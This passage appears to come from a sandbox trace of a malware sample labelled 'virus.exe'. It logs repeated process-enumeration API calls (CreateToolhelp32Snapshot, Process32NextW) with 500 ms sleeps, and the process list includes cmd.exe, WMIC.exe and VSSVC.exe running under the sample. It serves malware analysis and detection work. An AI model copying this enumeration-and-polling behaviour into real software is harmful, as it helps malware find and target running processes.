pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.622] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.623] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.623] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.623] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.624] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.624] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.624] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.625] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.625] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.626] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.626] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.627] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.627] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.627] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.628] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.628] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.629] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.629] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.629] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.630] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.630] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0277.630] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0277.631] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0277.631] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0277.631] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0277.632] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.632] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.632] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0277.633] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.633] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0277.633] CloseHandle (hObject=0xcc) returned 1 [0277.633] Sleep (dwMilliseconds=0x1f4) [0278.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0278.226] Process32FirstW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.227] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.227] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.228] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.228] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.228] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.229] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.229] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.230] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.230] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0278.230] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.231] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.231] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.232] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.232] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.232] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.233] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.233] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.233] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.234] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.234] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.235] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.235] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.235] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0278.236] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0278.237] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.237] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.237] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0278.238] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.240] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.240] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0278.241] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.241] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0278.241] CloseHandle (hObject=0x1b0) returned 1 [0278.241] Sleep (dwMilliseconds=0x1f4) [0278.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0278.786] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.787] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.787] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.788] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.788] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.789] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.791] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.791] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.792] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.792] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0278.792] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.793] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.793] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.794] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.794] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.795] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.795] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.795] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.796] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, 